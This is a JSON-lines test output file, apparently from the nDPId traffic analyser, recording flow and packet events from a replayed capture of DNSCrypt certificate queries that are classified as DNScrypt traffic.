+00662{"flow_id":228,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":555,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522189,"pkt_caplen":222,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":222,"pkt_l4_len":188,"pkt":"ZmZmZmZmRERERERECABFAADQoaxAADYRp\/65wX\/0CgAAAQG7u2MAvNXc\/IqBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAl5b2Zpamktc2UAABAAAcAMABAAAQAAcIAAfXxETlNDAAIAANT+QyCeqOpvY3ek9vOTVGrWy3oc27D9SS491oCJRe7RQWKb3q0aPb33Ziq0RP9PPCzRMBy1lW3l6rz74jWgmwszJtIbCS+4i64Fme9c0vB4hxz+sKp41i8d9KRbhVFMbjMm0hsJL7iLAAAAAV9TV8BfVKlA"} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":556,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":49568,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":229,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":556,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522562,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcaQhAAH4RLuEKAAABTUJU6cGgAbsCCGUBsp4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":556,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":229,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":49568,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":557,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":46140,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":230,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":557,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522566,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcaQlAAH4RLuAKAAABTUJU6bQ8AbsCCGUBspoBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":557,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":230,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":46140,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":558,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":40209,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":231,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":558,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522597,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcaQogAH4RSx8KAAABTUJU6Z0RAbsGBIoKspkBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":558,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":231,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":40209,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":559,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":49732,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01103{"flow_id":232,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":559,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522601,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcaQtAAH4RLt4KAAABTUJU6cJEAbsCCGUBspwBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAG+AAwBugAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":559,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":232,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":49732,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":560,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522616,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQaQoAuX4Rb\/IKAAABTUJU6QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":560,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":561,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":50757,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":233,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":561,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522616,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcaQwgAH4RSx0KAAABTUJU6cZFAbsGBGDUspsBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":561,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":233,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":50757,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00449{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":562,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522632,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQaQwAuX4Rb\/AKAAABTUJU6QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":562,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":563,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":57109,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02386{"flow_id":234,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":563,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522705,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcaQ0gAH4RSxwKAAABTUJU6d8VAbsGBEgCsp0BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAlyZXNvbHZlcjIIZG5zY3J5cHQCZXUAABAAAQAAAAAAAAAAAAW6AAwFtgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":563,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":234,"flow_packet_id":1,"flow_first_seen":946739400522,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"77.66.84.233","src_port":57109,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":564,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739400,"pkt_ts_usec":522721,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQaQ0AuX4Rb+8KAAABTUJU6QAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":564,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} 